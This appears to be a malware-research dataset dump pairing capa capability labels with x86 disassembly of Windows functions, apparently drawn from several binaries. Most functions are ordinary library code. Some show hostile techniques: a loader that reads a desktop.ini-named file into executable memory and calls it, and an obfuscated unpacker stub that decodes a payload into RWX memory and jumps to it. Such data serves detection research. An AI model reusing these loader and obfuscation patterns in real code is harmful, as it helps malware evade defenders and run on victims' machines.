joyce8/EMBER2024-capa huggingface dataset:
Function at 0x434200
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
sub esp, 8
push ebx
push ebp
mov ebp, dword [esp + 0x18]
push esi
push eax
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
xor ebx, ebx
cmp esi, ebx
jne 0x43422c
pop esi
pop ebp
xor al, al
pop ebx
add esp, 8
ret
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
cmp edi, ebx
je 0x434250
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebp, eax
cmp ebp, ebx
jne 0x43425a
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 8
ret
push edi
push 2
mov byte [esp + 0x1b], bl
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
cmp esi, ebx
je 0x4342e1
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
cmp eax, ebx
je 0x4342da
push edi
push ebp
push eax
call fcn.00441810
add esp, 0xc
lea edx, [esp + 0x14]
push edx
push ebx
push esi
mov dword [esp + 0x20], ebx
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
test eax, eax
jne 0x4342c3
mov eax, dword [esp + 0x14]
push ebx
push eax
call fcn.00432e10
mov ecx, dword [esp + 0x24]
add esp, 8
mov dword [ecx], eax
cmp eax, ebx
je 0x4342bf
mov ecx, dword [eax + 8]
mov dword [eax + 8], ebx
mov byte [esp + 0x13], 1
cmp ecx, ebx
je 0x4342c3
mov byte [esp + 0x13], bl
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov eax, dword [esp + 0x14]
cmp eax, ebx
je 0x4342da
mov edx, dword [eax]
push eax
mov eax, dword [edx + 8]
call eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov al, byte [esp + 0x13]
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
Function at 0x4351f0
Capabilities:
Get common file path

Disassembly:
push ecx
lea eax, [esp]
push eax
push 0
push 0
mov dword [esp + 0xc], 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
neg eax
sbb eax, eax
add eax, 1
je 0x435276
push esi
mov esi, dword [esp + 0xc]
push edi
push 0x104
mov ecx, esi
call fcn.00422b0e
test eax, eax
je 0x43523c
mov ecx, dword [esi]
mov dword [ecx - 8], 0x104
mov edx, dword [esi]
xor eax, eax
mov word [edx + 0x208], ax
mov eax, dword [esi]
mov ecx, dword [esp + 8]
push eax
push ecx
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
mov ecx, esi
mov edi, eax
call fcn.00422bd9
mov edx, dword [esi]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [esi]
mov dword [ecx - 8], eax
mov edx, dword [esi]
xor ecx, ecx
mov word [edx + eax*2], cx
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov eax, edi
pop edi
pop esi
pop ecx
ret
Function at 0x435b80
Capabilities:
Get mac address on windows

Disassembly:
push 0xffffffffffffffff
push 0x468570
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push ebp
push esi
push edi
mov eax, dword [0x480424]
xor eax, esp
push eax
lea eax, [esp + 0x24]
mov dword fs:[0], eax
mov esi, dword [0x47e024]
mov dword [esp + 0x1c], esi
lea eax, [esp + 0x14]
xor ebx, ebx
push eax
push ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x1c], ebx
call sub.IPHLPAPI.DLL_GetAdaptersInfo
mov ecx, dword [esp + 0x14]
push ecx
call fcn.0043d888
mov ebp, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov edi, eax
add esp, 4
mov dword [esp + 0x20], edi
cmp edi, ebx
je 0x435c84
lea edx, [esp + 0x14]
push edx
push edi
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
jne 0x435c84
lea ebx, [ebx]
xor esi, esi
cmp dword [edi + 0x190], ebx
jbe 0x435c76
lea ebx, [ebx]
cmp esi, 8
jae 0x435c76
movzx eax, byte [esi + edi + 0x194]
push eax
lea ecx, [esp + 0x1c]
push ecx
call fcn.00435980
add esp, 8
mov eax, dword [eax]
mov edx, dword [eax - 8]
push eax
push edx
lea ecx, [esp + 0x24]
mov byte [esp + 0x34], 1
call fcn.0042c0fd
mov eax, dword [esp + 0x18]
lea ecx, [eax - 0xc]
mov byte [esp + 0x2c], bl
cmp ecx, dword [0x47e020]
je 0x435c6d
add eax, 0xfffffff4
push eax
call ebp
test eax, eax
jg 0x435c6d
mov edx, dword [esp + 0x18]
add edx, 0xfffffff4
push edx
call fcn.0043c708
add esp, 4
inc esi
cmp esi, dword [edi + 0x190]
jb 0x435c10
mov edi, dword [edi]
cmp edi, ebx
jne 0x435c00
mov esi, dword [esp + 0x1c]
mov edi, dword [esp + 0x20]
push edi
call fcn.0043d6d0
mov eax, dword [esi - 8]
add esp, 4
push eax
push esi
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
lea ecx, [esi - 0xc]
mov edi, eax
cmp ecx, dword [0x47e020]
je 0x435cb8
add esi, 0xfffffff4
push esi
call ebp
test eax, eax
jg 0x435cb8
push esi
call fcn.0043c708
add esp, 4
mov eax, edi
mov ecx, dword [esp + 0x24]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret

Function at 0x435cd0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x20c
mov eax, dword [0x480424]
xor eax, esp
mov dword [esp + 0x208], eax
push 0
call fcn.00433840
add esp, 4
push 0
push 0x20
lea eax, [esp + 8]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x435d14
push 0
lea ecx, [esp + 4]
push 0
push ecx
call fcn.00435500
add esp, 0xc
mov ecx, dword [esp + 0x208]
xor ecx, esp
call fcn.0043c7e6
add esp, 0x20c
ret

Function at 0x435d30
Capabilities:
Get common file path

Disassembly:
sub esp, 0x20c
mov eax, dword [0x480424]
xor eax, esp
mov dword [esp + 0x208], eax
push 1
call fcn.00433840
add esp, 4
push 0
push 0x21
lea eax, [esp + 8]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x435d74
push 0
lea ecx, [esp + 4]
push 0
push ecx
call fcn.00435500
add esp, 0xc
mov ecx, dword [esp + 0x208]
xor ecx, esp
call fcn.0043c7e6
add esp, 0x20c
ret
Function at 0x4371c0
Capabilities:
Check if file exists
Delete file

Disassembly:
push ebx
push esi
mov esi, ecx
mov eax, dword [esi + 0x40]
xor ebx, ebx
push edi
cmp eax, ebx
je 0x4371d6
push ebx
push eax
call dword [sym.imp.WININET.dll_InternetSetStatusCallbackW]
mov eax, dword [esi + 0x48]
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp eax, ebx
je 0x4371e9
push eax
call edi
mov dword [esi + 0x48], ebx
mov eax, dword [esi + 0x44]
cmp eax, ebx
je 0x4371f6
push eax
call edi
mov dword [esi + 0x44], ebx
mov eax, dword [esi + 0x3c]
cmp eax, ebx
je 0x43720c
cmp eax, 0xffffffff
je 0x43720c
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x3c], ebx
cmp byte [esp + 0x10], bl
jne 0x43722f
cmp byte [esi + 0x38], bl
je 0x43722f
mov eax, dword [esi + 0x28]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x43722f
mov eax, dword [esi + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [esi + 0x90]
cmp eax, ebx
je 0x437248
push eax
call fcn.0043d6d0
add esp, 4
mov dword [esi + 0x90], ebx
mov eax, dword [esi + 0x40]
cmp eax, ebx
je 0x437255
push eax
call edi
mov dword [esi + 0x40], ebx
pop edi
pop esi
pop ebx
ret 4

Function at 0x437780
Capabilities:
Resume thread

Disassembly:
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push esi
push edi
mov esi, ecx
lea edi, [esi + 8]
push edi
call ebp
push edi
call ebp
cmp dword [esi], 0xffffffff
je 0x4377a5
mov al, byte [esi + 4]
test al, al
jne 0x4377a5
mov bl, 1
jmp 0x4377a7
xor bl, bl
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test bl, bl
je 0x4377e3
push edi
call ebp
mov eax, dword [esi]
mov byte [esi + 4], 1
cmp eax, 0xffffffff
je 0x4377dc
cmp byte [esi + 5], 0
je 0x4377dc
push eax
mov byte [esi + 5], 0
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [esi]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push edi
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x437a20
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x468728
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x480424]
xor eax, esp
push eax
lea eax, [esp + 0x10]
mov dword fs:[0], eax
mov edi, ecx
mov eax, dword [edi + 0x28]
cmp dword [eax - 8], 0
lea esi, [edi + 0x28]
jne 0x437ac2
mov ecx, dword [0x47e024]
mov dword [esp + 0xc], ecx
push 0x104
lea ecx, [esp + 0x10]
mov dword [esp + 0x1c], 0
call fcn.00422b0e
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x104
mov ecx, esi
call fcn.00422b0e
mov esi, dword [esp + 0xc]
push eax
push 0
push 0x46ddb0
push esi
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea edx, [esi - 0xc]
mov byte [edi + 0x38], 1
cmp edx, dword [0x47e020]
je 0x437ac2
add esi, 0xfffffff4
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
test eax, eax
jg 0x437ac2
push esi
call fcn.0043c708
add esp, 4
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x10
ret
Function at 0x437f50
Capabilities:
Connect to http server
Create http request
Parse url

Disassembly:
push 0xffffffffffffffff
push 0x46878b
mov eax, dword fs:[0]
push eax
sub esp, 0x444
mov eax, dword [0x480424]
xor eax, esp
mov dword [esp + 0x440], eax
push esi
push edi
mov eax, dword [0x480424]
xor eax, esp
push eax
lea eax, [esp + 0x450]
mov dword fs:[0], eax
mov esi, dword [esp + 0x460]
lea edi, [esi + 8]
push edi
mov dword [esp + 0x10], edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0x10000000
push 0
push 0
push 0
push str.HttpClient
mov dword [esp + 0x46c], 0
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [esi + 0x40], eax
test eax, eax
jne 0x437fd4
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor al, al
jmp 0x43811e
push 0x437e80
push eax
call dword [sym.imp.WININET.dll_InternetSetStatusCallbackW]
xor eax, eax
push 0x1fe
push eax
lea ecx, [esp + 0x256]
push ecx
mov word [esp + 0x258], ax
call fcn.0043cf90
xor edx, edx
push 0xfe
push edx
lea eax, [esp + 0x162]
push eax
mov word [esp + 0x164], dx
call fcn.0043cf90
xor ecx, ecx
push 0xfe
push ecx
lea edx, [esp + 0x6e]
push edx
mov word [esp + 0x70], cx
call fcn.0043cf90
push 0x38
lea eax, [esp + 0x3c]
push 0
push eax
call fcn.0043cf90
lea ecx, [esp + 0x27c]
add esp, 0x30
mov dword [esp + 0x20], ecx
push 0x824
lea ecx, [esi + 0x2c]
mov dword [esp + 0x14], 0x3c
mov dword [esp + 0x28], 0x100
call fcn.00422b0e
mov dword [esp + 0x3c], eax
lea edx, [esp + 0x14c]
mov dword [esp + 0x2c], edx
mov eax, 0x80
mov dword [esp + 0x30], eax
mov dword [esp + 0x38], eax
mov eax, dword [esi + 0x24]
lea edx, [esp + 0x10]
push edx
lea ecx, [esp + 0x50]
mov dword [esp + 0x44], 0x800
mov dword [esp + 0x38], ecx
mov ecx, dword [eax - 8]
push 0x10000000
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetCrackUrlW]
test eax, eax
je 0x437fc6
mov edx, dword [esp + 0x28]
push esi
push 0
push 3
lea eax, [esp + 0x58]
push eax
lea ecx, [esp + 0x15c]
push ecx
mov ecx, dword [esi + 0x40]
push edx
lea eax, [esp + 0x264]
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetConnectW]
mov dword [esi + 0x44], eax
test eax, eax
jne 0x43810e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
cmp eax, 0x3e5
jne 0x4380fd
mov dword [esi + 0x20], 1
jmp 0x438116
mov dword [esi + 0x20], 6
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor al, al
jmp 0x43811e
mov ecx, esi
call fcn.00437dd0
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, 1
mov ecx, dword [esp + 0x450]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [esp + 0x440]
xor ecx, esp
call fcn.0043c7e6
add esp, 0x450
ret 4
Function at 0x439060
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x468978
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x480424]
xor eax, esp
push eax
lea eax, [esp + 0x10]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0xc], esi
mov edi, dword [esp + 0x20]
push edi
call fcn.00401510
mov dword [esi], vtable.boost::bad_function_call.0
mov dword [esp + 0x18], 0
test edi, edi
je 0x4390aa
add edi, 0x28
jmp 0x4390ac
xor edi, edi
mov dword [esi + 0x28], vtable.boost::exception.0
mov ecx, dword [edi + 4]
mov dword [esi + 0x2c], ecx
test ecx, ecx
je 0x4390c4
mov eax, dword [ecx]
mov edx, dword [eax + 0xc]
call edx
mov eax, dword [edi + 8]
mov dword [esi + 0x30], eax
mov ecx, dword [edi + 0xc]
mov dword [esi + 0x34], ecx
mov edx, dword [edi + 0x10]
mov dword [esi + 0x38], edx
mov dword [esi], vtable.boost::exception_detail::error_info_injector_class_boost::bad_function_call_.1.0
mov dword [esi + 0x28], vtable.boost::exception_detail::error_info_injector_class_boost::bad_function_call_.0
mov eax, esi
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x10
ret 4
Function at 0x43b979
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x481fc8], 0
push esi
jne 0x43b8e7
call fcn.0043b7fb
test eax, eax
je 0x43b92a
mov eax, dword [0x481fc8]
cmp eax, 1
jne 0x43b908
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x43b92a
pop esi
ret
push eax
call dword [0x481fd0]
test eax, eax
jne 0x43b972
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x43b92e
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x481fc8]
call dword [0x481fd0]
mov edi, eax
test edi, edi
je 0x43b953
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x43b96f
mov edi, esi
add esi, 0xff0
push edi
push dword [0x481fc8]
call dword [0x481fcc]
add edi, 0x10
cmp edi, esi
jb 0x43b95b
mov eax, edi
pop edi
pop esi
ret
jmp 0x43b8d4

Function at 0x43c7e6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x480424]
jne 0x43c7f0
repz ret
jmp fcn.00442c23

Function at 0x454454
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00442529
and dword [ebp - 4], 0
cmp dword [0x482b6c], 0
mov ebx, eax
jne 0x454505
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4545b6
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4545b6
push eax
call fcn.004424b7
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x482b6c], eax
call esi
push eax
call fcn.004424b7
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x482b70], eax
call esi
push eax
call fcn.004424b7
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x482b74], eax
call esi
push eax
call fcn.004424b7
pop ecx
mov dword [0x482b7c], eax
test eax, eax
je 0x454505
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004424b7
pop ecx
mov dword [0x482b78], eax
mov eax, dword [0x482b78]
cmp eax, ebx
je 0x45455d
cmp dword [0x482b7c], ebx
je 0x45455d
push eax
call fcn.00442532
push dword [0x482b7c]
mov esi, eax
call fcn.00442532
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x45455d
test edi, edi
je 0x45455d
call esi
test eax, eax
je 0x454554
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x454554
test byte [ebp - 0xc], 1
jne 0x45455d
or dword [ebp + 0x10], 0x200000
jmp 0x454596
mov eax, dword [0x482b70]
cmp eax, ebx
je 0x454596
push eax
call fcn.00442532
pop ecx
test eax, eax
je 0x454596
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x454596
mov eax, dword [0x482b74]
cmp eax, ebx
je 0x454596
push eax
call fcn.00442532
pop ecx
test eax, eax
je 0x454596
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x482b6c]
call fcn.00442532
pop ecx
test eax, eax
je 0x4545b6
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4545b8
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4400c9
Capabilities:
Encrypt data using dpapi

Disassembly:
push esi
push edi
push 0x46c6d0
push str.AdvApi32.dll
call main
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test esi, esi
js 0x44010c
push str.SystemFunction040
push dword [0x46c6d0]
call edi
push str.SystemFunction041
push dword [0x46c6d0]
mov dword [0x46c6c0], eax
call edi
mov dword [0x46c6c4], eax
jmp 0x440111
mov eax, dword [0x46c6c4]
cmp dword [0x46c6c0], 0
je 0x440122
test eax, eax
jne 0x4401c9
push 0x46c6d4
push str.Crypt32.dll
call main
mov esi, eax
test esi, esi
js 0x4401d3
push str.CryptProtectMemory
push dword [0x46c6d4]
call edi
cmp dword [0x46c6c0], 0
mov dword [0x46c6c8], eax
jne 0x440187
test eax, eax
jne 0x440187
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x440171
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x440178
mov esi, 0x80004005
push esi
push 0x28
push str.c:_agent_work138_s_srclibsdutilcryputil.cpp
call fcn.004038f5
jmp 0x4401d3
push str.CryptUnprotectMemory
push dword [0x46c6d4]
call edi
cmp dword [0x46c6c4], 0
mov dword [0x46c6cc], eax
jne 0x4401c9
test eax, eax
jne 0x4401c9
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x4401bd
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x4401c4
mov esi, 0x80004005
push esi
push 0x2d
jmp 0x44017b
mov dword [0x46c6d8], 1
pop edi
mov eax, esi
pop esi
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x40377f
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x9c]
sub esp, 0x11c
mov eax, dword [0x420030]
xor eax, ebp
mov dword [ebp + 0x98], eax
mov eax, dword [ebp + 0xa4]
push ebx
push esi
push edi
mov edi, dword [sym.imp.advapi32.dll_RegEnumKeyA]
mov esi, 0x104
push esi
lea ecx, [ebp - 0x6c]
push ecx
xor ebx, ebx
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0xa8]
push ebx
push eax
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ebx
call edi
test eax, eax
jne 0x403822
mov eax, dword [ebp - 0x80]
push dword [eax + 8]
inc dword [ebp - 0x74]
lea eax, [ebp - 0x6c]
push eax
call fcn.00415b52
pop ecx
pop ecx
test eax, eax
je 0x40380b
test ebx, ebx
je 0x4037ff
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.00415b52
pop ecx
pop ecx
test eax, eax
jle 0x40380b
push ebx
call fcn.0040473f
pop ecx
lea eax, [ebp - 0x6c]
push eax
call fcn.0040471e
pop ecx
mov ebx, eax
push esi
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x74]
push dword [ebp - 0x78]
call edi
test eax, eax
je 0x4037cc
xor edi, edi
cmp ebx, edi
jne 0x403826
xor eax, eax
jmp 0x403892
lea eax, [ebp - 0x70]
push eax
push 0x20019
push edi
push ebx
push dword [ebp - 0x78]
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
push ebx
test eax, eax
je 0x403855
call fcn.0040473f
pop ecx
cmp dword [ebp - 0x70], edi
je 0x403822
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
jmp 0x403822
call fcn.0040473f
pop ecx
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x6c]
push eax
push edi
push edi
push str.JavaHome
push dword [ebp - 0x70]
mov dword [ebp - 0x7c], esi
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
test eax, eax
jne 0x403845
cmp dword [ebp - 0x70], edi
je 0x403888
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
lea eax, [ebp - 0x6c]
push eax
call fcn.0040471e
pop ecx
mov ecx, dword [ebp + 0x98]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004088d9
add ebp, 0x9c
leave
ret
Function at 0x404934
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
lea ebp, [esp - 0x214]
sub esp, 0x294
mov eax, dword [0x420030]
xor eax, ebp
mov dword [ebp + 0x210], eax
mov eax, dword [ebp + 0x21c]
push ebx
push esi
push edi
push 0x10
pop edi
mov dword [ebp - 0x78], eax
call fcn.004047a1
push 8
mov esi, eax
call fcn.004046d7
mov ebx, eax
pop ecx
lea eax, [ebp + 0xd0]
push eax
push dword [ebp - 0x78]
mov dword [ebp - 0x80], ebx
call dword [sym.imp.kernel32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x40499f
mov dword [ebx], eax
lea eax, [ebp + 0xfc]
mov dword [ebx + 4], eax
mov edi, dword [ebx + 4]
test edi, edi
je 0x4049a6
and dword [ebx + 4], 0
jmp 0x4049bb
xor eax, eax
jmp 0x404a86
lea eax, [ebp - 0x70]
push eax
push dword [ebx]
call dword [sym.imp.kernel32.dll_FindNextFileA]
neg eax
sbb edi, edi
lea eax, [ebp - 0x44]
and edi, eax
test edi, edi
je 0x404a6c
push edi
call fcn.00408090
pop ecx
cmp eax, 4
jl 0x404992
add eax, edi
cmp byte [eax - 4], 0x2e
jne 0x404992
add eax, 0xfffffffd
push 0x4197b4
push eax
mov dword [ebp - 0x74], eax
call fcn.004088f0
pop ecx
pop ecx
test eax, eax
je 0x404a01
push 0x4197b0
push dword [ebp - 0x74]
call fcn.004088f0
pop ecx
pop ecx
test eax, eax
jne 0x404992
push 0x3b
push edi
call fcn.004097a0
pop ecx
pop ecx
test eax, eax
jne 0x404992
push dword [ebp - 0x78]
call fcn.00408090
push edi
mov ebx, eax
call fcn.00408090
mov dword [ebp - 0x74], eax
add eax, ebx
push eax
call fcn.004046d7
lea ecx, [ebx - 1]
push ecx
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], eax
push eax
call fcn.00415b52
mov eax, dword [ebp - 0x74]
inc eax
push eax
push edi
mov edi, dword [ebp - 0x7c]
lea eax, [edi + ebx - 1]
push eax
call fcn.00415b52
mov ecx, dword [esi + 4]
add esp, 0x24
inc ecx
call fcn.004047f7
mov eax, dword [esi + 4]
mov ecx, dword [esi]
mov ebx, dword [ebp - 0x80]
mov dword [ecx + eax*4], edi
inc dword [esi + 4]
jmp 0x404992
push dword [ebx]
call dword [sym.imp.kernel32.dll_FindClose]
push dword [ebx + 4]
call fcn.0040473f
push ebx
call fcn.0040473f
pop ecx
pop ecx
mov eax, esi
mov ecx, dword [ebp + 0x210]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004088d9
add ebp, 0x214
leave
ret

Function at 0x4088d9
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x420030]
jne 0x4088e3
repz ret
jmp fcn.00410778
Function at 0x415b52
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x415b61
pop dword [ebp - 0x10]
mov eax, 0x7be5e5c7
add eax, 0x845b759a
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x8e2c9b9a
add dword [ebp - 0x20], 0xc025a9b1
mov dword [ebp - 0x1c], 0x106111
sub dword [ebp - 0x1c], 0xcddd14cc
mov dword [ebp - 0x18], 0x23e647d0
sub dword [ebp - 0x18], 0xd79a03a2
mov dword [ebp - 0x14], 0x2774ce11
add dword [ebp - 0x14], 0xd88b31ef
lea eax, [ebp - 0x20]
push eax
mov eax, 0x72fcb4ee
add eax, 0x8d44cb62
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x5059877f
sub dword [ebp - 0x20], 0xdbe71e29
mov dword [ebp - 0x1c], 0x31daf0e
sub dword [ebp - 0x1c], 0xc1b14d99
mov dword [ebp - 0x18], 0x3b400fa0
add dword [ebp - 0x18], 0x282f5ccc
mov dword [ebp - 0x14], 0xc8fdb542
add dword [ebp - 0x14], 0x37024abe
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x45cf4c36
add eax, 0xba723416
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x388ff
push 0
call eax
mov ecx, 0x3cb9
mov ebx, eax
mov esi, 0x42e800
add esi, dword [ebp - 0x10]
mov edi, 0x67c53453
sub edi, 0xc8b8dd74
xor dword [ebp - 4], edi
mov edx, dword [esi]
add dword [ebp - 8], 0x105bac98
sub edx, edi
sub dword [ebp - 4], 0xf92510e4
mov dword [ebx], edx
xor dword [ebp - 0xc], edx
add ebx, 4
add esi, 4
loop 0x415c77
add eax, 0xe5b7
mov ebx, eax
add eax, 5
mov ecx, 0x17ea45dd
sub ecx, 0x17aa45dd
add ecx, dword [ebp - 0x10]
call ebx
leave
ret